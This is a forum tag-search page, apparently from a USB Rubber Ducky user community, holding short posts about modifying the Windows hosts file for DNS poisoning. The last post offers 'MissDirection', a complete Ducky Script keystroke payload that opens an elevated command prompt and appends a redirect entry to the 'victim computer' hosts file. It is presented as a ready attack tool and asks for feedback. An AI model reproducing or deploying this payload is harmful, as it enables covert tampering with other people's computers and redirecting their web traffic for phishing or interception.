Search the Community
Showing results for tags 'hosts'.
Ello everyone, I am very new with the ducky, and I am looking for some help. As I understand, powershell must be installed for any of the "Duck Toolkit" payloads to work. I was interested in DNS poisioning, but I cant get it to work correctly. I even tried to remove the command prompt section and have an administrative cmd already up and running before I plugged in my ducky. Everything went smoothly, but it still did nothing. I have disabled all my anti-virus programs and even tried a few random other DNS poisioning/host mod scripts that I randomly found on here and other websites. No luck.
I know how to edit the systems hosts file to point a url to a local server rather than a public dns... Can I direct a path to a file on the same machine EX: If i open firefox and go to www.wikipedia/elephants.com i want it to open the saved version i have in my documents rather than the ip address of wikipedia.
Time for round 2 - MissDirection - Edits the hosts file of the victim computer rerouting it to wherever you choose. you can add multiple lines, but this one should give you the idea. feedback is always appreciated. Also, be sure to use the 2.2 version of the encoder. Is it worth putting in the WIKI? DELAY 2000 ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 CTRL-SHIFT ENTER DELAY 400 STRING cd C:\Windows\System32\drivers\etc\ ENTER DELAY 400 STRING echo 18.104.22.168 www.test.com>>hosts ENTER DELAY 400 ALT SPACE STRING c